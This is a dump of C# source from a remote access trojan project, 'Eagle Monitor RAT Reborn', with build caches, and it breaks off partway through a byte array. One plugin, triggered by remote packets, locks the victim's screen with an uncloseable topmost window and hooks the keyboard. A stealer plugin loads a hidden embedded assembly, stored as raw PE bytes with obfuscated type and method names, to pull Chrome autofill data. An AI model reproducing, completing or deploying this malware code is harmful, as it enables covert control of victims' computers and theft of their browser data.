obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/Helpers.cs ================================================ using System; using System.Runtime.InteropServices; using System.Windows.Forms; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Helpers { private const string screenLockerName = "BLRSCRL"; internal static int SetAero10(IntPtr hwnd) { AccentPolicy accentPolicy = new AccentPolicy { AccentState = AccentState.ACCENT_ENABLE_BLURBEHIND, AccentFlags = 0, GradientColor = 0, AnimationId = 0 }; WindowCompositionAttributeData data = new WindowCompositionAttributeData { Attribute = WindowCompositionAttribute.WCA_ACCENT_POLICY }; int accentSize = Marshal.SizeOf(accentPolicy); IntPtr accentPtr = Marshal.AllocHGlobal(accentSize); Marshal.StructureToPtr(accentPolicy, accentPtr, false); data.Data = accentPtr; data.SizeOfData = accentSize; int result = SetWindowCompositionAttribute(hwnd, ref data); Marshal.FreeHGlobal(accentPtr); return result; } internal static void StartScreenLocker() { if (Application.OpenForms[screenLockerName] == null) { ScreenLocker o = new ScreenLocker(screenLockerName); o.InitializeComponent(); o.ShowDialog(); } } internal static void StopScreenLocker() { PostMessage(Application.OpenForms[screenLockerName].Handle, WM_Message.WM_SYSCOMMAND, SC_Message.SC_CLOSE, IntPtr.Zero); return; } } } ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Imports { #region "user32" private const string user32 = "user32.dll"; [DllImport(user32)] internal static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport(user32)] internal static extern int SetWindowCompositionAttribute(IntPtr hwnd, ref WindowCompositionAttributeData data); [DllImport(user32)] internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, Int32 X, Int32 Y, Int32 cx, Int32 cy, Int32 uFlags); [DllImport(user32)] internal static extern IntPtr PostMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam); public enum WM_Message : uint { WM_DESTROY = 0x2, WM_CLOSE = 0x10, WM_SYSCOMMAND = 0x112, WM_SETTEXT = 0x000C, WM_APPCOMMAND = 0x0319 } public enum SC_Message : uint { NONE = 0, SC_CLOSE = 0xF060, SC_MAXIMIZE = 0xF030, SC_MINIMIZE = 0xF020, SC_RESTORE = 0xF120 } [StructLayout(LayoutKind.Sequential)] public partial struct MARGINS { public int Left; public int Right; public int Top; public int Bottom; } [StructLayout(LayoutKind.Sequential)] public struct WindowCompositionAttributeData { public WindowCompositionAttribute Attribute; public IntPtr Data; public int SizeOfData; } [StructLayout(LayoutKind.Sequential)] public struct AccentPolicy { public AccentState AccentState; public int AccentFlags; public int GradientColor; public int AnimationId; } public enum WindowCompositionAttribute { WCA_UNDEFINED = 0, WCA_NCRENDERING_ENABLED = 1, WCA_NCRENDERING_POLICY = 2, WCA_TRANSITIONS_FORCEDISABLED = 3, WCA_ALLOW_NCPAINT = 4, WCA_CAPTION_BUTTON_BOUNDS = 5, WCA_NONCLIENT_RTL_LAYOUT = 6, WCA_FORCE_ICONIC_REPRESENTATION = 7, WCA_EXTENDED_FRAME_BOUNDS = 8, WCA_HAS_ICONIC_BITMAP = 9, WCA_THEME_ATTRIBUTES = 10, WCA_NCRENDERING_EXILED = 11, WCA_NCADORNMENTINFO = 12, WCA_EXCLUDED_FROM_LIVEPREVIEW = 13, WCA_VIDEO_OVERLAY_ACTIVE = 14, WCA_FORCE_ACTIVEWINDOW_APPEARANCE = 15, WCA_DISALLOW_PEEK = 16, WCA_CLOAK = 17, WCA_CLOAKED = 18, WCA_ACCENT_POLICY = 19, WCA_FREEZE_REPRESENTATION = 20, WCA_EVER_UNCLOAKED = 21, WCA_VISUAL_OWNER = 22, WCA_HOLOGRAPHIC = 23, WCA_EXCLUDED_FROM_DDA = 24, WCA_PASSIVEUPDATEMODE = 25, WCA_LAST = 26 } public enum AccentState { ACCENT_DISABLED = 0, ACCENT_ENABLE_GRADIENT = 1, ACCENT_ENABLE_TRANSPARENTGRADIENT = 2, ACCENT_ENABLE_BLURBEHIND = 3, ACCENT_ENABLE_ACRYLICBLURBEHIND = 4, ACCENT_ENABLE_HOSTBACKDROP = 5, ACCENT_INVALID_STATE = 6 } public const int HWND_BOTTOM = 1; public const int HWND_NOTOPMOST = -2; public const int HWND_TOP = 0; public const int HWND_TOPMOST = -1; public const Int32 SWP_NOSIZE = 0x1; public const Int32 SWP_NOMOVE = 0x2; public const Int32 SWP_NOREDRAW = 0x8; public const Int32 SWP_DEFERERASE = 0x2000; #endregion } } ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MISC_SCREENLOCKER_ON: Helpers.StartScreenLocker(); break; case PacketType.MISC_SCREENLOCKER_OFF: Helpers.StopScreenLocker(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("ScreenLocker")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ScreenLocker")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("8e4b128d-a9a9-4bcc-b87d-5fa50ec07261")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.cs ================================================ using System; using System.Windows.Forms; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { class ScreenLocker : Form { public ScreenLocker(string name) { this.Name = name; this.Text = name; this.Load += new EventHandler(Form1_Load); this.Shown += new System.EventHandler(this.Form1_Shown); } protected override void Dispose(bool disposing) { try { if (disposing && components != null) { components.Dispose(); } } finally { base.Dispose(disposing); } } private System.ComponentModel.IContainer components; public void InitializeComponent() { this.SuspendLayout(); this.AutoScaleDimensions = new System.Drawing.SizeF(6.0F, 13.0F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.Black; this.ClientSize = new System.Drawing.Size(800, 450); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; this.ShowIcon = false; this.ShowInTaskbar = false; this.ResumeLayout(false); } protected override CreateParams CreateParams { get { CreateParams cp = base.CreateParams; const int CS_NOCLOSE = 0x200; cp.ClassStyle |= CS_NOCLOSE; return cp; } } private void Form1_Load(object sender, EventArgs e) { this.WindowState = FormWindowState.Maximized; SetWindowPos(this.Handle, (IntPtr)HWND_TOPMOST, Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, SWP_NOMOVE | SWP_NOSIZE | SWP_NOREDRAW | SWP_DEFERERASE); Helpers.SetAero10(this.Handle); HookHardware.Global.HookKeyboard(); this.SetTopLevel(true); SetForegroundWindow(this.Handle); } private void Form1_Shown(object sender, EventArgs e) { this.SetTopLevel(true); SetForegroundWindow(this.Handle); } } } ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.csproj ================================================  Debug AnyCPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261} Library Properties Plugin ScreenLocker v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll Form ScreenLocker.cs {64c6e036-ff80-4f45-87f6-0a9996131fa1} HookHardware {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.CoreCompileInputs.cache ================================================ ac05f21e8e770e65b468fe1ea36fae551543aabf ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\ScreenLocker.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\ScreenLocker.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Debug\ScreenLocker.dll ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache ================================================ 4ee2c55d96ccba7b426c45d4534a168284bdaac5 ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\ScreenLocker.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\ScreenLocker.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\ScreenLocker.dll C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll C:\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\ScreenLocker.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ScreenLocker.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ScreenLocker.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ScreenLocker.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\Plugin.ScreenLocker.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ScreenLocker\obj\Release\ScreenLocker.dll ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/ScreenLocker/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/Stealer/ChromiumAutofill.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ChromiumAutofill { internal static List Recovery() { try { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome); System.Reflection.MethodInfo method = assemblytoload.GetType("N1F8R7V2H4G.W9S7P5A2XO8").GetMethod("AP7Z9V5B3W2"); object obj = assemblytoload.CreateInstance(method.Name); List chrome = (List)method.Invoke(obj, null); return chrome; } catch (System.Exception) { return null; } } private static readonly byte[] Chrome = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x03, 0x00, 0x24, 0x0D, 0x8C, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x22, 0x20, 0x0B, 0x01, 0x30, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x7F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x85, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x7F, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xA8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x28, 0x7F, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0xAC, 0x5F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xA8, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00, 0x40, 0x47, 0x00, 0x00, 0xE8, 0x37, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x04, 0x00, 0x71, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x11, 0x73, 0x06, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x10, 0x00, 0x00, 0x06, 0x6F, 0x07, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x43, 0x12, 0x01, 0x28, 0x08, 0x00, 0x00, 0x0A, 0x0C, 0x1B, 0x8D, 0x06, 0x00, 0x00, 0x01, 0x25, 0x16, 0x08, 0x6F, 0x1F, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x17, 0x08, 0x6F, 0x21, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x18, 0x08, 0x6F, 0x23, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x19, 0x08, 0x6F, 0x27, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x1A, 0x08, 0x6F, 0x29, 0x00, 0x00, 0x06, 0xA2, 0x0D, 0x06, 0x09, 0x6F, 0x09, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x0A, 0x00, 0x00, 0x0A, 0x2D, 0xB4, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x03, 0x00, 0x00, 0x1B, 0x6F, 0x0B, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x11, 0x00, 0x50, 0x61, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x0C, 0x00, 0x00, 0x0A, 0x2A, 0x13, 0x30, 0x06, 0x00, 0xF5, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x11, 0x02, 0x1F, 0x0A, 0x8D, 0x11, 0x00, 0x00, 0x01, 0x25, 0xD0, 0x0B, 0x00, 0x00, 0x04, 0x28, 0x0D, 0x00, 0x00, 0x0A, 0x7D, 0x06, 0x00, 0x00, 0x04, 0x02, 0x28, 0x0C, 0x00, 0x00, 0x0A, 0x03, 0x28, 0x0E, 0x00, 0x00, 0x0A, 0x39, 0xCB, 0x00, 0x00, 0x00, 0x17, 0x03, 0x1F, 0x20, 0x17, 0x19, 0x15, 0x28, 0x0F, 0x00, 0x00, 0x0A, 0x17, 0x28, 0x10, 0x00, 0x00, 0x0A, 0x69, 0x28, 0x11, 0x00, 0x00, 0x0A, 0x0A, 0x17, 0x12, 0x00, 0x15, 0x6A, 0x16, 0x28, 0x12, 0x00, 0x00, 0x0A, 0x17, 0x8D, 0x1B, 0x00, 0x00, 0x01, 0x25, 0x16, 0x17, 0x9E, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x02, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x06, 0x6F, 0x15, 0x00, 